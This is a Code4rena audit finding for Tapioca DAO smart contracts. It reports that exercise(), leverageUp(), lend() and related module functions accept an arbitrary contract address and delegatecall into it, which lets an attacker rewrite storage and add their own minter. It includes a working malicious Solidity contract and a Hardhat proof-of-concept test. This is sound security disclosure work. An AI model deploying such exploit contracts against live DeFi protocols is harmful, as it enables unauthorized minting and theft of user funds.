Platform: Code4rena
Start Date: 05/07/2023
Pot Size: $390,000 USDC
Total HM: 136
Participants: 132
Period: about 1 month
Judge: LSDan
Total Solo HM: 56
Id: 261
League: ETH
Rank: 101/132
Findings: 1
Award: $56.17
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Ack
Also found by: 0x73696d616f, 0xrugpull_detector, ACai, BPZ, Breeje, CrypticShepherd, Kaysoft, carrotsmuggler, cergyk, kodyvim, ladboy233, offside0011
56.1709 USDC - $56.17
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOOptionsModule.sol#L174 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOLeverageModule.sol#L169 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOMarketModule.sol#L168 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L184 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L160 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L189 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L152
Can access and modify USD0 storage and e.g. set random address as minter.
Proof below is for exercise() in USD0OptionsModule, same exploit appears possible for leverageUp() in USD0LeverageModule and for lend() in USD0MarketModule.
Same for leverageDown() in BaseTOFTLeverage module, borrow() in BaseTOFTMarketModule, exercise in BaseTOFTOptionsModule and strategyDeposit() in BaseTOFTStrategyModule.
Malicious contract:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; //TAPIOCA import "tapioca-periph/contracts/interfaces/ITapiocaOptionsBroker.sol"; import "../BaseUSDOStorage.sol"; contract Malicious is BaseUSDOStorage { constructor( address _lzEndpoint, IYieldBoxBase _yieldBox ) BaseUSDOStorage(_lzEndpoint, _yieldBox) {} function exerciseInternal( address from, uint256 oTAPTokenID, address paymentToken, uint256 tapAmount, address target, ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData memory tapSendData, ICommonData.IApproval[] memory approvals ) public { uint256 chain = _getChainId(); allowedMinter[chain][address(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266)] = true; } }
Proof (add to usd0.test.ts):
describe('exploits', () => { it('should not exploit options module', async () => { const { registerUsd0Contract, deployer, BN, eoas, yieldBox } = await loadFixture(register); const { usd0, lzEndpointContract } = await registerUsd0Contract( '1', yieldBox.address, deployer.address, ); const malicious = await ( await ethers.getContractFactory('Malicious') ).deploy(lzEndpointContract.address, yieldBox.address); const optionsContract = await ethers.getContractFactory("USDOOptionsModule"); const options = optionsContract.attach( await usd0.optionsModule() ); // NOTE: Exploiter must have an option to exercise, I did not work through this process and simply commented out the // actual exercising in USD0OptionsModule.sol const normalUser = eoas[1]; await options.connect(normalUser).exercise( malicious.address, '1', [0], 0, [0], ); // Malicious contract will add the below random address as a minter const setAllowedMinter = await usd0.allowedMinter( await lzEndpointContract.getChainId(), "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", ); // A non-exploitable contract should return false here, // respectively there should be some kind of failure earlier expect(setAllowedMinter).to.be.false; }); });
Manual analysis, Hardhat.
Do not allow random address to be passed to exercise
.
call/delegatecall
#0 - c4-pre-sort
2023-08-07T08:45:57Z
minhquanym marked the issue as duplicate of #146
#1 - c4-judge
2023-09-13T10:24:25Z
dmvt marked the issue as satisfactory